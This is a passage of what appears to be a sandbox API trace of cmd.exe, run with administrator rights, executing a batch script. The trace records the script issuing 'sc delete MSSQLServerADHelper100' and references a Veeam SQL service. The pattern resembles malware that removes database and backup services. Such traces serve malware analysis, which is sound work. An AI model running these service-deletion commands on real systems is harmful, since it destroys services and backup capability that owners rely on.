lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Lent\n$VEEAMSQL2012\"\n") returned 1 [0070.643] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.643] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.644] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Snt\n$VEEAMSQL2012\"\n") returned 1 [0070.644] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.644] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.644] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="et\n$VEEAMSQL2012\"\n") returned 1 [0070.644] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.644] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.644] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="r\n$VEEAMSQL2012\"\n") returned 1 [0070.644] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.644] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.644] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="v$VEEAMSQL2012\"\n") returned 1 [0070.644] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.644] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.644] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="eVEEAMSQL2012\"\n") returned 1 [0070.644] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.645] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.645] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.645] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="rEEAMSQL2012\"\n") returned 1 [0070.645] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.645] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.645] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.645] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="AEAMSQL2012\"\n") returned 1 [0070.645] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.645] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.645] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.645] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="DAMSQL2012\"\n") returned 1 [0070.645] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.645] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.645] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.645] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="HMSQL2012\"\n") returned 1 [0070.645] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.645] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.645] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.645] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="eSQL2012\"\n") returned 1 [0070.645] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.646] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.646] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="lQL2012\"\n") returned 1 [0070.646] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.646] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.646] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="pL2012\"\n") returned 1 [0070.646] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.646] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.646] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="e2012\"\n") returned 1 [0070.646] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.646] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.646] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="r012\"\n") returned 1 [0070.646] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.646] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.646] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="112\"\n") returned 1 [0070.646] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.647] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="02\"\n") returned 1 [0070.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.647] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="0\"\n") returned 1 [0070.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.647] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e360, cchWideChar=1 | out: lpWideCharStr="\n\n") returned 1 [0070.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.647] GetFileType (hFile=0xb8) returned 0x3 [0070.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.647] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.647] GetFileType (hFile=0x120) returned 0x3 [0070.647] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLServerADHelper100\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLServerADHelper100\n", lpUsedDefaultChar=0x0) returned 34 [0070.647] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x21, lpOverlapped=0x0) returned 1 [0070.648] GetProcessHeap () returned 0x4a0000 [0070.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0070.648] GetProcessHeap () returned 0x4a0000 [0070.648] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0070.648] GetProcessHeap () returned 0x4a0000 [0070.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0070.648] GetProcessHeap () returned 0x4a0000 [0070.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0070.649] GetProcessHeap () returned 0x4a0000 [0070.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4e) returned 0x4b97e0 [0070.650] GetConsoleOutputCP () returned 0x1b5 [0070.650] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.650] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.650] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.650] GetProcessHeap () returned 0x4a0000 [0070.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0070.650] GetProcessHeap () returned 0x4a0000 [0070.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x54) returned 0x4b9840 [0070.650] GetProcessHeap () returned 0x4a0000 [0070.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0070.650] SetErrorMode (uMode=0x0) returned 0x1 [0070.651] SetErrorMode (uMode=0x1) returned 0x0 [0070.651] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0070.651] SetErrorMode (uMode=0x1) returned 0x1 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0070.651] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0070.651] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0070.651] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0070.651] GetProcessHeap () returned 0x4a0000 [0070.651] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0070.652] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.652] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.652] GetLastError () returned 0x2 [0070.652] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.652] GetLastError () returned 0x2 [0070.652] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.652] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.653] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.653] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.653] GetLastError () returned 0x2 [0070.653] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.653] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.653] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0070.653] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0070.653] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.653] GetProcessHeap () returned 0x4a0000 [0070.653] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0070.654] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.654] GetProcessHeap () returned 0x4a0000 [0070.654] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xba) returned 0x4b9180 [0070.654] GetProcessHeap () returned 0x4a0000 [0070.654] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xba [0070.654] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLServerADHelper100") returned 1 [0070.654] GetProcessHeap () returned 0x4a0000 [0070.654] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0070.654] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0070.654] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0070.654] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0070.654] GetProcessHeap () returned 0x4a0000 [0070.654] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0070.654] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0070.654] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0070.655] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.656] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.656] GetProcessHeap () returned 0x4a0000 [0070.656] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0070.656] GetProcessHeap () returned 0x4a0000 [0070.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0070.656] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLServerADHelper100", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLServerADHelper100", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, 